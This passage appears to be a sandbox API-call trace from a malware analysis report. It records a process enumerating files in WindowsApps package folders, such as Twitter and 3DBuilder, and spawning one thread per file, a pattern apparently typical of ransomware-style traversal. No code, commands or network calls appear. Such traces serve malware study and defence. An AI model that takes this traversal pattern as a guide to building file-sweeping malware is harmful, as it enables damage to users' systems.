	[0077.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47cbd78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c
	[0077.242] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x231582f9, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x231582f9, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x2434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VoiceCommands.xml", cAlternateFileName="VOICEC~1.XML")) returned 1
	[0077.242] wcscmp (_String1="VoiceCommands.xml", _String2=".") returned 1
	[0077.242] wcscmp (_String1="VoiceCommands.xml", _String2="..") returned 1
	[0077.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x47c8860
	[0077.242] wcscpy (in: _Dest=0x47c8860, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.242] wcscat (in: _Dest=0x47c8860, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.242] wcscat (in: _Dest=0x47c8860, _Source="VoiceCommands.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml"
	[0077.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c8860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca0
	[0077.243] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x231582f9, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x231582f9, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x2434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VoiceCommands.xml", cAlternateFileName="VOICEC~1.XML")) returned 0
	[0077.243] FindClose (in: hFindFile=0x2d70c40 | out: hFindFile=0x2d70c40) returned 1
	[0077.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db85c8) returned 1
	[0077.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2aa38) returned 1
	[0077.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1

Thread:
	id = 245
	os_tid = 0x1344

	[0076.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d859c8
	[0076.766] wcscpy (in: _Dest=0x2d859c8, _Source="C:\\Program Files\\WindowsApps\\Deleted" | out: _Dest="C:\\Program Files\\WindowsApps\\Deleted") returned="C:\\Program Files\\WindowsApps\\Deleted"
	[0076.766] wcscat (in: _Dest=0x2d859c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Deleted\\") returned="C:\\Program Files\\WindowsApps\\Deleted\\"
	[0076.766] wcscat (in: _Dest=0x2d859c8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Deleted\\*") returned="C:\\Program Files\\WindowsApps\\Deleted\\*"
	[0076.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8830
	[0076.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Deleted\\*", lpFindFileData=0x2db8830 | out: lpFindFileData=0x2db8830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa967d4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac978
	[0078.083] wcscmp (_String1=".", _String2=".") returned 0
	[0078.085] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2db8830 | out: lpFindFileData=0x2db8830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa967d4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.085] wcscmp (_String1="..", _String2=".") returned 1
	[0078.086] wcscmp (_String1="..", _String2="..") returned 0
	[0078.086] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2db8830 | out: lpFindFileData=0x2db8830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa967d4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0078.086] FindClose (in: hFindFile=0x2dac978 | out: hFindFile=0x2dac978) returned 1
	[0078.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8830) returned 1
	[0078.147] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d859c8) returned 1
	[0078.147] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85de8) returned 1

Thread:
	id = 246
	os_tid = 0x1298

	[0076.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2d7d3f8
	[0076.767] wcscpy (in: _Dest=0x2d7d3f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe"
	[0076.767] wcscat (in: _Dest=0x2d7d3f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.767] wcscat (in: _Dest=0x2d7d3f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8a98
	[0076.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3c9c41d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad578
	[0078.807] wcscmp (_String1=".", _String2=".") returned 0
	[0078.807] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3c9c41d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.807] wcscmp (_String1="..", _String2=".") returned 1
	[0078.807] wcscmp (_String1="..", _String2="..") returned 0
	[0078.807] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8c8b9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96d8c8b9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96d8c8b9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.807] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.807] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477ca40
	[0078.807] wcscpy (in: _Dest=0x477ca40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe"
	[0078.807] wcscat (in: _Dest=0x477ca40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.807] wcscat (in: _Dest=0x477ca40, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ca40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0078.863] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9730ad4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x96c0f12e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.863] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.863] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e9ab0
	[0078.863] wcscpy (in: _Dest=0x47e9ab0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe"
	[0078.863] wcscat (in: _Dest=0x47e9ab0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.863] wcscat (in: _Dest=0x47e9ab0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe04
	[0078.864] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8c8b9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96db2b17, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96db2b17, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.864] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.864] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.864] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477cda0
	[0078.864] wcscpy (in: _Dest=0x477cda0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe"
	[0078.864] wcscat (in: _Dest=0x477cda0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.864] wcscat (in: _Dest=0x477cda0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477cda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe08
	[0078.865] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.865] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.865] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4751e80
	[0078.865] wcscpy (in: _Dest=0x4751e80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe"
	[0078.865] wcscat (in: _Dest=0x4751e80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.865] wcscat (in: _Dest=0x4751e80, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4751e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe0c
	[0078.865] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.865] FindClose (in: hFindFile=0x2dad578 | out: hFindFile=0x2dad578) returned 1
	[0078.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8a98) returned 1
	[0078.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d3f8) returned 1
	[0078.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d340) returned 1

Thread:
	id = 247
	os_tid = 0x13e0

	[0076.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61210
	[0076.768] wcscpy (in: _Dest=0x2d61210, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0076.768] wcscat (in: _Dest=0x2d61210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0076.768] wcscat (in: _Dest=0x2d61210, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\*"
	[0076.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8d00
	[0076.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70d00
	[0076.768] wcscmp (_String1=".", _String2=".") returned 0
	[0076.768] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.769] wcscmp (_String1="..", _String2=".") returned 1
	[0076.769] wcscmp (_String1="..", _String2="..") returned 0
	[0076.769] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dfefce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xec8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.769] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.769] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.769] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7e618
	[0076.769] wcscpy (in: _Dest=0x2d7e618, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0076.769] wcscat (in: _Dest=0x2d7e618, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0076.769] wcscat (in: _Dest=0x2d7e618, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7e618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658
	[0077.213] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dd8d87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dd8d87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.213] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.213] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47c9030
	[0077.214] wcscpy (in: _Dest=0x47c9030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0077.214] wcscat (in: _Dest=0x47c9030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0077.214] wcscat (in: _Dest=0x47c9030, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c9030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc5c
	[0077.214] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9785683, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.214] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.214] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x47cbf08
	[0077.214] wcscpy (in: _Dest=0x47cbf08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0077.214] wcscat (in: _Dest=0x47cbf08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0077.214] wcscat (in: _Dest=0x47cbf08, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata"
